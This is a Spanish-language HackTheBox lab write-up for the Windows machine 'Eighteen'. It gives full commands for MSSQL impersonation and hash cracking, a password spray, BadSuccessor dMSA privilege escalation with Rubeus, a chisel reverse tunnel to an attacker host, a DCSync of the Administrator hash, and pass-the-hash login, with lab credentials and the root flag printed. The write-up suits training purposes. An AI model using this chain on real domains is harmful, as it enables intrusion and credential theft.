CorvusDDosKRom

HackTheBox: Eighteen

Easy

Eighteen es una máquina de nivel fácil en HackTheBox.

Windows
Hack The Box
MSSQL PBKDF2 Password Spray BadSuccessor dMSA Kerberos WinRM Windows Server 2025

Eighteen

Plataforma: HackTheBox

Dificultad: Fácil

Eighteen

Reconocimiento

Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN eighteen.txt 10.129.15.68
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-24 22:34 -0300
Nmap scan report for 10.129.15.68
Host is up (0.35s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://eighteen.htb/
|_http-server-header: Microsoft-IIS/10.0
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info:
|   10.129.15.68:1433:
|     Version:
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info:
|   10.129.15.68:1433:
|     Target_Name: EIGHTEEN
|     NetBIOS_Domain_Name: EIGHTEEN
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: eighteen.htb
|     DNS_Computer_Name: DC01.eighteen.htb
|_    Product_Version: 10.0.26100
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap done: 1 IP address (1 host up) scanned in 102.01 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • --open: Muestra solo puertos abiertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detecta versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN eighteen.txt: Guarda los resultados en el archivo “eighteen.txt”.

Puertos descubiertos:

  • 80/tcp - HTTP (Microsoft IIS 10.0) → Redirige a http://eighteen.htb/
  • 1433/tcp - MSSQL (Microsoft SQL Server 2022 RTM)
  • 5985/tcp - WinRM (Microsoft HTTPAPI 2.0)

El escaneo revela que la máquina es un Domain Controller (DC01.eighteen.htb). Agregamos el dominio al /etc/hosts:

echo "10.129.15.68 eighteen.htb DC01.eighteen.htb" | sudo tee -a /etc/hosts

Como es habitual en pentests de Windows, la máquina proporciona credenciales iniciales: kevin / iNa2we6haRj2gaw!


Enumeración Web

Al acceder a http://eighteen.htb encontramos Eighteen, una aplicación web de planificación financiera personal desarrollada en Flask que usa MSSQL como backend (dc01.eighteen.htb).

Web Principal

La aplicación expone dos endpoints principales: /login y /register.

Login

Register

Las credenciales de kevin no funcionan en la web, por lo que nos registramos con una cuenta propia y accedemos al dashboard financiero:

Dashboard

Dashboard 2

No tenemos acceso al panel /admin. Sin embargo, la aplicación confirma que usa MSSQL en dc01.eighteen.htb como backend.


Enumeración MSSQL

Con las credenciales de kevin nos conectamos al servidor MSSQL:

mssqlclient.py eighteen.htb/kevin:'iNa2we6haRj2gaw!'@10.129.15.68
[*] Encryption required, switching to TLS
[*] ACK: Result - 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
SQL (kevin  guest@master)>

Kevin tiene acceso como guest. Enumeramos los logins disponibles:

SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';
name
------
sa
kevin
appdev

Verificamos si podemos impersonar algún usuario:

SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

Podemos impersonar a appdev:

EXECUTE AS LOGIN = 'appdev';

Cambiamos al contexto de appdev y enumeramos las bases de datos:

USE financial_planner;
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';
TABLE_NAME
-----------
users
incomes
expenses
allocations
analytics
visits

Dumpeamos la tabla users:

SELECT * FROM users;
id     full_name   username   email                password_hash                                                                                          is_admin
----   ---------   --------   ------------------   ---------------------------------------------------------------------------                            --------
1002   admin       admin      admin@eighteen.htb   pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133   1

Encontramos el hash de la contraseña del usuario admin en formato Werkzeug PBKDF2-SHA256.

Crackeo del hash

Convertimos el hash al formato de hashcat (modo 10900):

python3 -c "
import base64, binascii
salt = 'AMtzteQIG7yAbZIa'
hash_hex = '0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133'
salt_b64 = base64.b64encode(salt.encode()).decode()
hash_b64 = base64.b64encode(binascii.unhexlify(hash_hex)).decode()
print(f'sha256:600000:{salt_b64}:{hash_b64}')
" > hash.txt
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:iloveyou1

Status: Cracked

Obtenemos la contraseña: iloveyou1


Acceso Inicial

Enumeración de usuarios del dominio

Con las credenciales de kevin enumeramos usuarios del dominio vía RID brute force sobre MSSQL:

nxc mssql 10.129.15.68 -u kevin -p 'iNa2we6haRj2gaw!' --rid-brute --local-auth
1606: EIGHTEEN\jamie.dunn
1607: EIGHTEEN\jane.smith
1608: EIGHTEEN\alice.jones
1609: EIGHTEEN\adam.scott
1610: EIGHTEEN\bob.brown
1611: EIGHTEEN\carol.white
1612: EIGHTEEN\dave.green

Password Spray

Con la contraseña crackeada iloveyou1 realizamos un password spray contra WinRM:

netexec winrm 10.129.15.68 -u users.txt -p 'iloveyou1'

Password Spray

adam.scott:iloveyou1 es válido. Nos conectamos con evil-winrm:

evil-winrm-py -i 10.129.15.68 -u adam.scott -p iloveyou1

User Flag

cd ../Desktop
type user.txt

User Flag


Escalada de Privilegios

BadSuccessor (CVE dMSA - Windows Server 2025)

BadSuccessor es una vulnerabilidad en Windows Server 2025 que permite a cualquier usuario con permisos de escritura sobre una OU crear un objeto dMSA (Delegated Managed Service Account) que herede los privilegios de cualquier cuenta del dominio, incluyendo Administrator.

Enumeración

Identificamos que adam.scott tiene permisos de escritura sobre OU=STAFF.

Herramientas necesarias

HerramientaRepositorio
BadSuccessorhttps://github.com/ibaiC/BadSuccessor
Rubeushttps://github.com/GhostPack/Rubeus
Chiselhttps://github.com/jpillora/chisel

Subida de herramientas

Subimos los binarios necesarios al objetivo:

upload /tmp/BadSuccessor-ibai/BadSuccessor/obj/Debug/BadSuccessor.exe C:\Programdata\BadSuccessor.exe
upload /usr/share/rubeus/Rubeus/bin/Release/Rubeus.exe C:\Programdata\Rubeus.exe
upload /usr/share/chisel/chisel.exe C:\Programdata\chisel.exe

Creación del dMSA malicioso

Subimos BadSuccessor.exe al objetivo y ejecutamos:

.\BadSuccessor.exe escalate -targetOU "OU=STAFF,DC=EIGHTEEN,DC=HTB" -dmsa corvus -targetUser "CN=Administrator,CN=Users,DC=eighteen,DC=htb" -dnshostname corvus.eighteen.htb -user adam.scott

BadSuccessor

Importante: Los tickets del dMSA tienen una validez de aproximadamente 15 minutos desde que se crea el objeto. Es necesario completar todos los pasos siguientes dentro de ese tiempo. Si expira, hay que repetir desde la creación del dMSA.

Obtención del TGT de adam.scott

.\Rubeus.exe asktgt /user:adam.scott /password:iloveyou1 /domain:eighteen.htb /dc:DC01.eighteen.htb /enctype:aes256 /nowrap

Rubeus TGT

Solicitud del TGT del dMSA (corvus$)

Usando el TGT de adam.scott, solicitamos un TGS con el flag /dmsa que devuelve el TGT del dMSA con los privilegios heredados de Administrator:

.\Rubeus.exe asktgs /ticket:<TGT_ADAM_SCOTT> /targetuser:corvus$ /service:krbtgt/eighteen.htb /dmsa /dc:DC01.eighteen.htb /opsec /ptt /nowrap

Rubeus dMSA TGT

Solicitud del ticket CIFS

Con el TGT del dMSA solicitamos un ticket de servicio para CIFS:

.\Rubeus.exe asktgs /user:corvus$ /service:cifs/DC01.eighteen.htb /opsec /dmsa /nowrap /ptt /ticket:<TGT_CORVUS>

Rubeus CIFS

Conversión del ticket

Copiamos el base64 del ticket en un archivo, lo decodificamos a .kirbi y lo convertimos a .ccache:

echo "<BASE64_TICKET>" | base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache

Túnel con Chisel

El puerto 445 está filtrado externamente. Usamos chisel para tunelizar los puertos necesarios:

Linux:

sudo /usr/share/chisel/chisel server -p 8888 --reverse --socks5

Windows (evil-winrm):

.\chisel.exe client 10.10.16.52:8888 R:socks R:445:10.129.15.68:445 R:88:10.129.15.68:88 R:123:10.129.15.68:123/udp

Sincronización de tiempo

Kerberos requiere que el reloj local no difiera más de 5 minutos del DC. Sincronizamos contra el DC a través del túnel:

sudo timedatectl set-ntp false
sudo ntpdate -u 127.0.0.1

DCSync con secretsdump

proxychains -q secretsdump.py -k -no-pass -dc-ip 10.129.15.68 eighteen.htb/corvus\$@DC01.eighteen.htb -just-dc-user Administrator

Hash Dump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec:::

Acceso como Administrator

evil-winrm -i 10.129.15.68 -u Administrator -H 0b133be956bfaddf9cea56701affddec

Acceso Administrator

Root Flag

Root Flag

51b6fcabba0fb14928f61445b4ec033c

¡Root conseguido!

Hemos completado exitosamente la máquina Eighteen de HackTheBox.